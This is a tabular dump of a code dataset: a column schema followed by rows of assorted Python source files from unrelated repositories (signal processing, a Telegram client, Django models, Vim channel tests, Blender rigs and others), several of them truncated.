hexsha
stringlengths
40
40
size
int64
6
1.04M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
247
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
247
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
247
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.04M
avg_line_length
float64
1.53
618k
max_line_length
int64
1
1.02M
alphanum_fraction
float64
0
1
original_content
stringlengths
6
1.04M
filtered:remove_non_ascii
int64
0
538k
filtered:remove_decorators
int64
0
917k
filtered:remove_async
int64
0
722k
filtered:remove_classes
int64
-45
1M
filtered:remove_generators
int64
0
814k
filtered:remove_function_no_docstring
int64
-102
850k
filtered:remove_class_no_docstring
int64
-3
5.46k
filtered:remove_unused_imports
int64
-1,350
52.4k
filtered:remove_delete_markers
int64
0
59.6k
9dce34501665a0ef27501cf8445600e0b82ee8e7
819
py
Python
ingenialink/utils/errors.py
ingeniamc/ingenialink-python
6011931697e48456f5638c2848303aac2e5bcb75
[ "MIT" ]
15
2017-08-30T13:43:14.000Z
2022-03-29T07:04:30.000Z
ingenialink/utils/errors.py
ingeniamc/ingenialink-python
6011931697e48456f5638c2848303aac2e5bcb75
[ "MIT" ]
11
2017-08-28T11:23:18.000Z
2022-03-28T23:48:11.000Z
ingenialink/utils/errors.py
ingeniamc/ingenialink-python
6011931697e48456f5638c2848303aac2e5bcb75
[ "MIT" ]
9
2017-09-30T08:28:42.000Z
2022-03-12T19:11:43.000Z
from .._ingenialink import ffi, lib def err_ipb_last(): """Get IPB last last occurred error.""" return int(ffi.cast("int", lib.ilerr_ipb_last()))
31.5
53
0.772894
from .._ingenialink import ffi, lib from enum import IntEnum def err_ipb_last(): """Get IPB last last occurred error.""" return int(ffi.cast("int", lib.ilerr_ipb_last())) class CONFIGURATION_ERRORS(IntEnum): """Configuration errors.""" INCORRECT_ACCESS_TYPE = 0x06010000 OBJECT_NOT_EXIST = 0x0602...
0
0
0
614
0
0
0
3
45
f9303ec44e5a438900ce95e107a1cc6a734b9336
14,078
py
Python
device modeing/split_lib_v1.0.py
RichardNeverGiveup/data_analysis_for_CMOS
62a289bd3367b5d3a9ce9ba7f71e920706eafa4b
[ "MIT" ]
null
null
null
device modeing/split_lib_v1.0.py
RichardNeverGiveup/data_analysis_for_CMOS
62a289bd3367b5d3a9ce9ba7f71e920706eafa4b
[ "MIT" ]
null
null
null
device modeing/split_lib_v1.0.py
RichardNeverGiveup/data_analysis_for_CMOS
62a289bd3367b5d3a9ce9ba7f71e920706eafa4b
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # In[1]: import re #******************************************************* # user input: # MOSNAME eg: lvnemos4_1p2_lvpw # MOSTYPE eg: _ne_1p2 # LIB_FILENAME = '501per_35_VcA.lib' # MDL_FILENAME = '501per_35_VcA.mdl' #*******************************************************...
38.782369
130
0.525146
#!/usr/bin/env python # coding: utf-8 # In[1]: import re #******************************************************* # user input: # MOSNAME eg: lvnemos4_1p2_lvpw # MOSTYPE eg: _ne_1p2 # LIB_FILENAME = '501per_35_VcA.lib' # MDL_FILENAME = '501per_35_VcA.mdl' #*******************************************************...
2,121
0
0
0
0
2,587
0
0
92
411c7c1af94a017abfd0a0835864ea506e386df2
1,498
py
Python
check.py
GetYourLocation/Tools
e2d80a088c8b4f43572caff834ee2541eae7a4d5
[ "MIT" ]
null
null
null
check.py
GetYourLocation/Tools
e2d80a088c8b4f43572caff834ee2541eae7a4d5
[ "MIT" ]
null
null
null
check.py
GetYourLocation/Tools
e2d80a088c8b4f43572caff834ee2541eae7a4d5
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from __future__ import print_function import os import sys import matplotlib.pyplot as plt from matplotlib.patches import Rectangle import warnings warnings.filterwarnings("ignore") try: dataset = sys.argv[1] data_dir = os.path.join('data', dataset) except Except...
28.807692
107
0.609479
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from __future__ import print_function import os import sys import matplotlib.pyplot as plt from matplotlib.patches import Rectangle import warnings warnings.filterwarnings("ignore") try: dataset = sys.argv[1] data_dir = os.path.join('data', dataset) except Except...
0
0
0
0
0
0
0
0
0
5d04d47de01e33c3e1869914561675312dd53ea4
6,405
py
Python
lib/utils.py
pemami4911/symmetric-and-object-centric-world-models
8a03b08fc840d47602afeffba1a106651becd826
[ "MIT" ]
2
2020-12-22T08:11:44.000Z
2022-03-15T21:50:17.000Z
lib/utils.py
pemami4911/symmetric-and-object-centric-world-models
8a03b08fc840d47602afeffba1a106651becd826
[ "MIT" ]
null
null
null
lib/utils.py
pemami4911/symmetric-and-object-centric-world-models
8a03b08fc840d47602afeffba1a106651becd826
[ "MIT" ]
1
2022-03-15T21:50:18.000Z
2022-03-15T21:50:18.000Z
import torch import numpy as np def init_weights(net, init_type='normal', init_gain=0.02): """Initialize network weights. Modified from: https://github.com/baudm/MONet-pytorch/blob/master/models/networks.py Parameters: net (network) -- network to be initialized init_type (str) -- the n...
37.676471
144
0.609836
import torch import torch.nn.functional as F from torch.nn import init import numpy as np from scipy.stats import truncnorm def truncated_normal_initializer(shape, mean, stddev): # compute threshold at 2 std devs values = truncnorm.rvs(mean - 2 * stddev, mean + 2 * stddev, size=shape) return torch.from_nu...
0
0
0
0
0
3,183
0
26
253
18bbea310b3c36c11d394d4aa36ce9287ac2de2a
49,201
py
Python
data_science_utils/financial/__init__.py
krishnagorrepati/Data_science_utils
15072ae11935800a5d0914b3ff0ccea11ffe4b73
[ "MIT" ]
70
2018-05-02T08:35:16.000Z
2022-03-21T16:46:12.000Z
data_science_utils/financial/__init__.py
krishnagorrepati/Data_science_utils
15072ae11935800a5d0914b3ff0ccea11ffe4b73
[ "MIT" ]
2
2019-06-28T00:19:04.000Z
2020-07-28T14:04:09.000Z
data_science_utils/financial/__init__.py
krishnagorrepati/Data_science_utils
15072ae11935800a5d0914b3ff0ccea11ffe4b73
[ "MIT" ]
75
2018-09-19T18:53:21.000Z
2022-03-26T17:30:19.000Z
import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) import warnings warnings.filterwarnings('ignore') import sys, os sys.path.append(os.getcwd()) import os import matplotlib.pyplot as plt import seaborn as sns from datetime import datetime import seaborn as s...
41.310663
202
0.647527
import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) from stockstats import StockDataFrame import warnings import traceback warnings.filterwarnings('ignore') import argparse import re import sys, os sys.path.append(os.getcwd()) import os import requests from req...
0
0
0
0
0
45,261
0
739
2,210
4b9f3f3d538708150e0c79b7764ca9adeb55b1c1
16,982
py
Python
pyTelegramClient/telegram.py
Arjun-M/pyTelegramClient
d6fe2bfaf2f4a5c36c997589d0b4d64b428cd603
[ "MIT" ]
3
2022-03-18T08:00:40.000Z
2022-03-24T15:16:51.000Z
pyTelegramClient/telegram.py
Arjun-M/pyTelegramClient
d6fe2bfaf2f4a5c36c997589d0b4d64b428cd603
[ "MIT" ]
null
null
null
pyTelegramClient/telegram.py
Arjun-M/pyTelegramClient
d6fe2bfaf2f4a5c36c997589d0b4d64b428cd603
[ "MIT" ]
null
null
null
import logging logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')
50.391691
408
0.664822
import json , requests , asyncio , logging logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S') class Telegram: def __init__(self, client ): self.client = client def sendMessage(self , chat_id , text, disable_web_page_preview=None, reply_to_message_id=No...
0
0
0
16,808
0
0
0
28
23
e148ccaa2017c9088365c178882f6f4d7c85c4bb
1,886
py
Python
src/server/portal/naws.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
5
2015-01-30T08:47:59.000Z
2022-01-22T19:27:03.000Z
src/server/portal/naws.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
2
2017-12-28T21:36:48.000Z
2017-12-28T21:36:57.000Z
src/server/portal/naws.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
1
2020-02-21T05:30:58.000Z
2020-02-21T05:30:58.000Z
""" NAWS - Negotiate About Window Size This implements the NAWS telnet option as per https://www.ietf.org/rfc/rfc1073.txt NAWS allows telnet clients to report their current window size to the client and update it when the size changes """ from django.conf import settings NAWS = chr(31) IS = chr(0) # default taken ...
30.419355
101
0.661188
""" NAWS - Negotiate About Window Size This implements the NAWS telnet option as per https://www.ietf.org/rfc/rfc1073.txt NAWS allows telnet clients to report their current window size to the client and update it when the size changes """ from django.conf import settings from src.utils import utils NAWS = chr(31) ...
0
0
0
1,340
0
0
0
6
45
7da257725a70d5f7a7926bb43365cc244654dc62
4,026
py
Python
apps/dramas/models.py
ChenCrazy/MacOnline
b954ce85c8d14ef65eb54b365b2573da792b2d2f
[ "MIT" ]
null
null
null
apps/dramas/models.py
ChenCrazy/MacOnline
b954ce85c8d14ef65eb54b365b2573da792b2d2f
[ "MIT" ]
null
null
null
apps/dramas/models.py
ChenCrazy/MacOnline
b954ce85c8d14ef65eb54b365b2573da792b2d2f
[ "MIT" ]
null
null
null
# _*_ encoding:utf-8 _*_ from __future__ import unicode_literals # from DjangoUeditor.models import UEditorField
37.981132
115
0.696225
# _*_ encoding:utf-8 _*_ from __future__ import unicode_literals from datetime import datetime # from DjangoUeditor.models import UEditorField from django.db import models from organization.models import DramaOrg, Author class Drama(models.Model): drama_org = models.ForeignKey(DramaOrg, verbose_name=u"团队组织", nu...
474
0
0
3,525
0
0
0
42
182
befa272aee7e1f6568b6b56d01d63869929c48e0
1,199
py
Python
Year1Term1/IntroductionToProgramming/bookcheckout.py
linzexinmasterchief/University-Courseworks
e07b4b117941837108b0922dc0d5e32303cf66a3
[ "Unlicense" ]
null
null
null
Year1Term1/IntroductionToProgramming/bookcheckout.py
linzexinmasterchief/University-Courseworks
e07b4b117941837108b0922dc0d5e32303cf66a3
[ "Unlicense" ]
null
null
null
Year1Term1/IntroductionToProgramming/bookcheckout.py
linzexinmasterchief/University-Courseworks
e07b4b117941837108b0922dc0d5e32303cf66a3
[ "Unlicense" ]
null
null
null
""" This file handles the checkout of books, with log entry added """ import database as db # member_id is a 4-digit numebr and checkout_list is a list containing the full detail of the book being checked out def go(checkout_list = [], member_id = "0"): """ This function takes in a list of books and a member ...
36.333333
116
0.633028
""" This file handles the checkout of books, with log entry added """ import database as db # member_id is a 4-digit numebr and checkout_list is a list containing the full detail of the book being checked out def go(checkout_list = [], member_id = "0"): """ This function takes in a list of books and a member ...
0
0
0
0
0
0
0
0
0
1035dcef4699f204f8ec305de84ef466c3c4f6fe
9,168
py
Python
gammapy/stats/counts_statistic.py
Rishank2610/gammapy
3cd64fdb2c53c8e5c697a9b85ef8d0486bff0b76
[ "BSD-3-Clause" ]
1
2017-11-22T17:07:56.000Z
2017-11-22T17:07:56.000Z
gammapy/stats/counts_statistic.py
Rishank2610/gammapy
3cd64fdb2c53c8e5c697a9b85ef8d0486bff0b76
[ "BSD-3-Clause" ]
null
null
null
gammapy/stats/counts_statistic.py
Rishank2610/gammapy
3cd64fdb2c53c8e5c697a9b85ef8d0486bff0b76
[ "BSD-3-Clause" ]
1
2019-09-04T14:03:33.000Z
2019-09-04T14:03:33.000Z
# Licensed under a 3-clause BSD style license - see LICENSE.rst __all__ = ["WStatCountsStatistic", "CashCountsStatistic"]
32.28169
106
0.584751
# Licensed under a 3-clause BSD style license - see LICENSE.rst import abc import numpy as np from scipy.stats import chi2 from gammapy.utils.roots import find_roots from .fit_statistics import cash, wstat __all__ = ["WStatCountsStatistic", "CashCountsStatistic"] class CountsStatistic(abc.ABC): @property def...
0
1,876
0
6,955
0
0
0
32
179
86aeeee5627ee8b07a01f9042f2d7316ad96cdd1
7,123
py
Python
_common/C_mail.py
FNNDSC/cruntesting
d3580a8494f3b3da100669262ec99d9eceb32327
[ "MIT" ]
1
2017-01-17T06:52:17.000Z
2017-01-17T06:52:17.000Z
_common/C_mail.py
FNNDSC/cruntesting
d3580a8494f3b3da100669262ec99d9eceb32327
[ "MIT" ]
null
null
null
_common/C_mail.py
FNNDSC/cruntesting
d3580a8494f3b3da100669262ec99d9eceb32327
[ "MIT" ]
null
null
null
# NAME # # C_mail # # DESCRIPTION # # 'C_mail' is a simple class for handling/abstracting common # email related activities. # # Once setup with address lists, and/or subject text # it sends body text and inline attachments. # # HISTORY # # 11 January 2007 # o Initial development implementation. # # System imports imp...
25.99635
69
0.628527
# NAME # # C_mail # # DESCRIPTION # # 'C_mail' is a simple class for handling/abstracting common # email related activities. # # Once setup with address lists, and/or subject text # it sends body text and inline attachments. # # HISTORY # # 11 January 2007 # o Initial development implementation. # # System imports imp...
0
0
0
6,388
0
0
0
26
226
ad24952040f37c4dee236ba5635c947ea8283462
3,018
py
Python
doc/sphinxext/gen_commands.py
stlukyanenko/mne-python
508cfbc13bc2e068efb3bf8b7999b83047851729
[ "BSD-3-Clause" ]
2
2020-06-15T12:25:12.000Z
2020-09-13T11:49:51.000Z
doc/sphinxext/gen_commands.py
Moonshadowzb/mne-python
89647f3363fcb5de306cc18e55e7b9fa89fe0315
[ "BSD-3-Clause" ]
null
null
null
doc/sphinxext/gen_commands.py
Moonshadowzb/mne-python
89647f3363fcb5de306cc18e55e7b9fa89fe0315
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Header markings go: # 1. =/= : Page title # 2. = : Command name # 3. -/- : Command description # 4. - : Command sections (Examples, Notes) header = """\ :orphan: .. _python_commands: =============================== Command line tools using Python =============================== .. ...
26.946429
75
0.549702
# -*- coding: utf-8 -*- import glob from importlib import import_module import os from os import path as op from mne.utils import _replace_md5, ArgvSetter def setup(app): app.connect('builder-inited', generate_commands_rst) def setup_module(): # HACK: Stop nosetests running setup() above pass # Head...
0
0
0
0
0
2,239
0
21
181
4a9be3555eaaee67ccdb9ee787c8bae77b9e23da
796
py
Python
2_stack.py
Akshatha-Jagadish/Data_structures
3a2833e4f8ffa26127ba661708b45ccfac141484
[ "MIT" ]
null
null
null
2_stack.py
Akshatha-Jagadish/Data_structures
3a2833e4f8ffa26127ba661708b45ccfac141484
[ "MIT" ]
null
null
null
2_stack.py
Akshatha-Jagadish/Data_structures
3a2833e4f8ffa26127ba661708b45ccfac141484
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sat Jan 22 15:31:32 2022 @author: Akshatha """ if __name__ == '__main__': my_stack = Stack() my_stack.push(5) my_stack.disp() my_stack.push(10) my_stack.disp() my_stack.push('game') my_stack.disp() print('stack length: ',my_stac...
21.513514
46
0.53392
# -*- coding: utf-8 -*- """ Created on Sat Jan 22 15:31:32 2022 @author: Akshatha """ class Stack(): def __init__(self): self.arr = [] def push(self, value): self.arr.append(value) def pop(self): val = self.arr[-1] self.arr = self.arr[:-1] ...
0
0
0
326
0
0
0
0
25
317da283fcdc4837339ad34e5ee32af0b8601139
1,090
py
Python
src/python/pants/console/stty_utils.py
lahosken/pants
1b0340987c9b2eab9411416803c75b80736716e4
[ "Apache-2.0" ]
1
2021-11-11T14:04:24.000Z
2021-11-11T14:04:24.000Z
src/python/pants/console/stty_utils.py
lahosken/pants
1b0340987c9b2eab9411416803c75b80736716e4
[ "Apache-2.0" ]
null
null
null
src/python/pants/console/stty_utils.py
lahosken/pants
1b0340987c9b2eab9411416803c75b80736716e4
[ "Apache-2.0" ]
1
2021-11-11T14:04:12.000Z
2021-11-11T14:04:12.000Z
# coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement)
29.459459
96
0.73945
# coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import subprocess fr...
0
237
0
449
0
0
0
12
91
fb0177bda93cb54ce6c6923044aa8511c1218c01
1,179
py
Python
flapp/movie/utils.py
rpwagner/tiled-display
52d135bc163360fe55ce5521784b0ef48a8c82c9
[ "Apache-2.0" ]
1
2020-12-11T17:11:45.000Z
2020-12-11T17:11:45.000Z
flapp/movie/utils.py
rpwagner/tiled-display
52d135bc163360fe55ce5521784b0ef48a8c82c9
[ "Apache-2.0" ]
null
null
null
flapp/movie/utils.py
rpwagner/tiled-display
52d135bc163360fe55ce5521784b0ef48a8c82c9
[ "Apache-2.0" ]
null
null
null
from subprocess import Popen, PIPE, STDOUT if __name__=="__main__": import sys path = sys.argv[1] duration = GetMovieDuration(path) FPS = GetMovieFPS(path) print "duration:", duration print "FPS:", FPS
35.727273
132
0.63698
from subprocess import Popen, PIPE, STDOUT def GetMovieFPS(path): #mplayer -vo null -nosound 0_0.mpg -ss 00:10:00 -endpos 00:00:01 output = Popen(["mplayer", "-vo", "null", "-nosound", path, "-endpos", "00:00:01"], stdout=PIPE, stderr=STDOUT).communicate()[0] linestart = output.index("VIDEO: ") lineend...
0
0
0
0
0
904
0
0
46
d1639147923531e200dc36009221eecdaf434140
1,931
py
Python
dkbirdisland/src/scoreboard.py
Murilo-Gruppi/DonkeyKong-BirdIsland
2fe5affe570e9d7c82d0f2e2e8b2c2e1ff49f1df
[ "MIT" ]
null
null
null
dkbirdisland/src/scoreboard.py
Murilo-Gruppi/DonkeyKong-BirdIsland
2fe5affe570e9d7c82d0f2e2e8b2c2e1ff49f1df
[ "MIT" ]
8
2020-11-14T13:06:58.000Z
2021-01-22T14:31:06.000Z
dkbirdisland/src/scoreboard.py
Murilo-Gruppi/DonkeyKong-BirdIsland
2fe5affe570e9d7c82d0f2e2e8b2c2e1ff49f1df
[ "MIT" ]
3
2020-11-13T23:11:28.000Z
2020-12-14T15:41:08.000Z
import os MAIN_DIR = os.path.split(os.path.abspath(__file__))[0] SHELVE_PATH = os.path.join(MAIN_DIR, 'high_score.txt')
31.655738
94
0.588296
import shelve import os from . import tools MAIN_DIR = os.path.split(os.path.abspath(__file__))[0] SHELVE_PATH = os.path.join(MAIN_DIR, 'high_score.txt') class Scoreboard: def __init__(self, screen): self.score = '00000' self.last_score = '00000' self.high_score = '00000' self.fon...
0
0
0
1,752
0
0
0
-10
67
5bd889de96b25a5a3fe57826cba7a42808b9ad07
441
py
Python
chopandmiddle.py
hadoge/simpleScripts_python
bc819dfd73a3fb62444c7915f8dab665930475c8
[ "MIT" ]
null
null
null
chopandmiddle.py
hadoge/simpleScripts_python
bc819dfd73a3fb62444c7915f8dab665930475c8
[ "MIT" ]
null
null
null
chopandmiddle.py
hadoge/simpleScripts_python
bc819dfd73a3fb62444c7915f8dab665930475c8
[ "MIT" ]
null
null
null
#Script made for learn diferences on list modification t = [2,1,3,4,5] p = [2,1,3,4,5] chop(p) print(p) print(chop(p)) middle(t) print(t) print(middle(t))
16.333333
82
0.589569
#Script made for learn diferences on list modification t = [2,1,3,4,5] p = [2,1,3,4,5] def chop(b): a = (len(b)) - 1 del b[a] del b[0] return None #This function returns None, while the list is modified. def middle(b): a = (len(b)) - 1 return b[1:a] #This function returns a n...
0
0
0
0
0
219
0
0
48
ed44fe26c8727b8eefba67eef26c7e2279a0496c
41,686
py
Python
vibrationtesting/signals.py
Vibration-Testing/vibrationtesting
b5b85bc036714e8d8e99a14a4ddc2c427dae80ee
[ "MIT" ]
34
2016-06-21T11:44:26.000Z
2021-09-29T07:28:22.000Z
vibrationtesting/signals.py
bagustris/vibrationtesting
b5b85bc036714e8d8e99a14a4ddc2c427dae80ee
[ "MIT" ]
25
2017-08-26T14:07:16.000Z
2021-07-27T09:57:31.000Z
vibrationtesting/signals.py
bagustris/vibrationtesting
b5b85bc036714e8d8e99a14a4ddc2c427dae80ee
[ "MIT" ]
25
2016-03-08T19:58:11.000Z
2021-08-01T23:03:41.000Z
""" Signal processing, creation and plotting. Analysis of data and generation of simulated experiments. """ __license__ = "Joseph C. Slater" __docformat__ = 'reStructuredText' # import warnings import numpy as np import scipy as sp import scipy.fftpack as fftpack import scipy.linalg as la import matplotlib.pyplot a...
32.849488
208
0.523773
""" Signal processing, creation and plotting. Analysis of data and generation of simulated experiments. """ __license__ = "Joseph C. Slater" __docformat__ = 'reStructuredText' # import warnings import numpy as np import scipy as sp import scipy.fftpack as fftpack import scipy.linalg as la import matplotlib.pyplot a...
0
0
0
0
0
0
0
0
0
db255c8246a0e7204c25b22268d2980bd45f40ed
7,260
py
Python
GUIcode.py
snakerboy1234/Cytomech
69f27e72fc5f771245162b9a9fb63a81baa5b1c7
[ "MIT" ]
null
null
null
GUIcode.py
snakerboy1234/Cytomech
69f27e72fc5f771245162b9a9fb63a81baa5b1c7
[ "MIT" ]
null
null
null
GUIcode.py
snakerboy1234/Cytomech
69f27e72fc5f771245162b9a9fb63a81baa5b1c7
[ "MIT" ]
null
null
null
import serial import tkinter import tkinter.font as font from PIL import ImageTk, Image import pypylon.pylon as py import matplotlib.pyplot as plt import numpy as np # SOME PART OF CAMERA CODE CREATES AN INSTANCE OF TK THAT USES PACK. SO WE CANNOT USE GRID AND WE HAVE TO # ASSIGN EACH COMPONENT TO THE MASTE...
35.072464
158
0.684022
import serial import time import tkinter import tkinter.font as font from datetime import datetime from PIL import ImageTk, Image import sys import pypylon.pylon as py import matplotlib.pyplot as plt import numpy as np import cv2 # SOME PART OF CAMERA CODE CREATES AN INSTANCE OF TK THAT USES PACK. SO WE ...
0
0
0
157
0
2,747
0
-24
239
47fe2037f0c7cb92585e4d15d11841e6a8393752
1,362
py
Python
examples/selection_input_app.py
zelogik/remi
074f0e856d1634a0a8155626d8dd2135feb99544
[ "Apache-2.0" ]
3,224
2015-10-30T15:35:05.000Z
2022-03-08T19:31:46.000Z
examples/selection_input_app.py
Ksengine/remi
4ccb06581a70c101807b740ef587065aa70b17ce
[ "Apache-2.0" ]
453
2015-10-26T17:39:01.000Z
2022-03-07T13:57:18.000Z
examples/selection_input_app.py
Ksengine/remi
4ccb06581a70c101807b740ef587065aa70b17ce
[ "Apache-2.0" ]
458
2015-11-03T12:08:01.000Z
2022-03-09T00:17:19.000Z
""" Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed ...
35.842105
108
0.701909
""" Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed ...
0
0
0
567
0
0
0
-7
45
1e2d84940a05efd0cc8e5fbe8f9be589dfffd985
543
py
Python
Chapter06/B13346_06_01-swap.py
shahidnawazkhan/geog786course
e2d425875d183af3f0d5d54bb7c01033f5b2926f
[ "MIT" ]
97
2019-06-21T21:59:23.000Z
2022-03-30T17:00:46.000Z
Chapter06/B13346_06_01-swap.py
Fall-in-love-with-Kikyo/Learning-Geospatial-Analysis-with-Python-Third-Edition
5f4961837d762cffbf67338e0237313ea89dbb48
[ "MIT" ]
3
2021-10-19T02:31:15.000Z
2022-01-18T04:45:07.000Z
Chapter06/B13346_06_01-swap.py
Fall-in-love-with-Kikyo/Learning-Geospatial-Analysis-with-Python-Third-Edition
5f4961837d762cffbf67338e0237313ea89dbb48
[ "MIT" ]
61
2019-04-07T22:53:30.000Z
2022-03-28T03:01:11.000Z
"""Swap bands in a raster satellite image""" # http://git.io/vqs41 from gdal import gdal_array # name of our source image src = "FalseColor.tif" # load the source image into an array arr = gdal_array.LoadFile(src) # swap bands 1 and 2 for a natural color image. # We will use numpy "advanced slicing" to reorder the...
28.578947
62
0.703499
"""Swap bands in a raster satellite image""" # http://git.io/vqs41 from gdal import gdal_array # name of our source image src = "FalseColor.tif" # load the source image into an array arr = gdal_array.LoadFile(src) # swap bands 1 and 2 for a natural color image. # We will use numpy "advanced slicing" to reorder the...
0
0
0
0
0
0
0
0
0
6b2947d904a12699c53f85fd20cfcef2e48e9a84
12,015
py
Python
src/testdir/test_channel.py
chestnut1693/vim
bc38f25c021dc4314c77d50a608329a328b0d988
[ "Vim" ]
2
2020-04-13T04:53:59.000Z
2020-06-01T14:41:02.000Z
src/testdir/test_channel.py
chestnut1693/vim
bc38f25c021dc4314c77d50a608329a328b0d988
[ "Vim" ]
null
null
null
src/testdir/test_channel.py
chestnut1693/vim
bc38f25c021dc4314c77d50a608329a328b0d988
[ "Vim" ]
null
null
null
#!/usr/bin/env python # # Server that will accept connections from a Vim channel. # Used by test_channel.vim. # # This requires Python 2.6 or later. from __future__ import print_function try: # Python 3 import socketserver except ImportError: # Python 2 if __name__ == "__main__": main("localhost", 0)...
44.335793
94
0.424303
#!/usr/bin/env python # # Server that will accept connections from a Vim channel. # Used by test_channel.vim. # # This requires Python 2.6 or later. from __future__ import print_function import json import socket import sys import time import threading try: # Python 3 import socketserver except ImportError: ...
0
0
0
10,318
0
1,178
0
-30
228
4fa43d72a0c2f0b29afa1fdf526729a277689f72
4,948
py
Python
edexOsgi/com.raytheon.edex.plugin.gfe/utility/common_static/base/gfe/textproducts/templates/utility/CWF_Pacific_Site_MultiPil_Definition.py
srcarter3/awips2
37f31f5e88516b9fd576eaa49d43bfb762e1d174
[ "Apache-2.0" ]
null
null
null
edexOsgi/com.raytheon.edex.plugin.gfe/utility/common_static/base/gfe/textproducts/templates/utility/CWF_Pacific_Site_MultiPil_Definition.py
srcarter3/awips2
37f31f5e88516b9fd576eaa49d43bfb762e1d174
[ "Apache-2.0" ]
null
null
null
edexOsgi/com.raytheon.edex.plugin.gfe/utility/common_static/base/gfe/textproducts/templates/utility/CWF_Pacific_Site_MultiPil_Definition.py
srcarter3/awips2
37f31f5e88516b9fd576eaa49d43bfb762e1d174
[ "Apache-2.0" ]
1
2021-10-30T00:03:05.000Z
2021-10-30T00:03:05.000Z
## # This software was developed and / or modified by Raytheon Company, # pursuant to Contract DG133W-05-CQ-1067 with the US Government. # # U.S. EXPORT CONTROLLED TECHNICAL DATA # This software product contains export-restricted data whose # export/transfer/disclosure is restricted by U.S. law. Dissemination # to ...
41.233333
103
0.605093
## # This software was developed and / or modified by Raytheon Company, # pursuant to Contract DG133W-05-CQ-1067 with the US Government. # # U.S. EXPORT CONTROLLED TECHNICAL DATA # This software product contains export-restricted data whose # export/transfer/disclosure is restricted by U.S. law. Dissemination # to ...
0
0
0
0
0
0
0
0
0
966f8e183f43f4d45660343c45bd7a42887ab7e1
22
py
Python
core/constants/not_available.py
eugene-the-red/automata-core
8470232ac17410fb907cb285b8102c1712699740
[ "Unlicense" ]
null
null
null
core/constants/not_available.py
eugene-the-red/automata-core
8470232ac17410fb907cb285b8102c1712699740
[ "Unlicense" ]
null
null
null
core/constants/not_available.py
eugene-the-red/automata-core
8470232ac17410fb907cb285b8102c1712699740
[ "Unlicense" ]
null
null
null
NOT_AVAILABLE = 'N/A'
11
21
0.681818
NOT_AVAILABLE = 'N/A'
0
0
0
0
0
0
0
0
0
c11aa728ef111b13cb8574664ef704a9344ead5d
5,546
py
Python
Sigma_Selection.py
Jamun-Fanatic-Foreva/STADS---Star-Matching
0a96885a168b8de86eb4f51ba401980969023452
[ "MIT" ]
1
2019-10-29T13:13:48.000Z
2019-10-29T13:13:48.000Z
Sigma_Selection.py
Jamun-Fanatic-Foreva/STADS---Star-Matching
0a96885a168b8de86eb4f51ba401980969023452
[ "MIT" ]
null
null
null
Sigma_Selection.py
Jamun-Fanatic-Foreva/STADS---Star-Matching
0a96885a168b8de86eb4f51ba401980969023452
[ "MIT" ]
1
2020-03-09T17:28:18.000Z
2020-03-09T17:28:18.000Z
import numpy as np import pandas as pd import time, gc from GV_Catalogue_Gen import angularDistance def genSigmaCatalogue(CATALOGUE, mag_limit = 6, FOV_limit = 20): ''' Generates the mean of the sigma for each star in the catalogue. Sigma between star A and star B is defined as (1/6) of the a...
37.986301
114
0.624594
import numpy as np import pandas as pd import time, gc from GV_Catalogue_Gen import angularDistance def genSigmaCatalogue(CATALOGUE, mag_limit = 6, FOV_limit = 20): ''' Generates the mean of the sigma for each star in the catalogue. Sigma between star A and star B is defined as (1/6) of the a...
0
0
0
0
0
0
0
0
0
dc3fb8bf5ca7ab124eb669944f953b242d6ee9e0
39,659
py
Python
blender/2.79/scripts/addons/rigify/metarigs/Animals/shark.py
uzairakbar/bpy2.79
3a3e0004ac6783c4e4b89d939e4432de99026a85
[ "MIT" ]
2
2019-11-27T09:05:42.000Z
2020-02-20T01:25:23.000Z
rigify/metarigs/Animals/shark.py
1-MillionParanoidTterabytes/blender-addons-master
acc8fc23a38e6e89099c3e5079bea31ce85da06a
[ "Unlicense" ]
null
null
null
rigify/metarigs/Animals/shark.py
1-MillionParanoidTterabytes/blender-addons-master
acc8fc23a38e6e89099c3e5079bea31ce85da06a
[ "Unlicense" ]
4
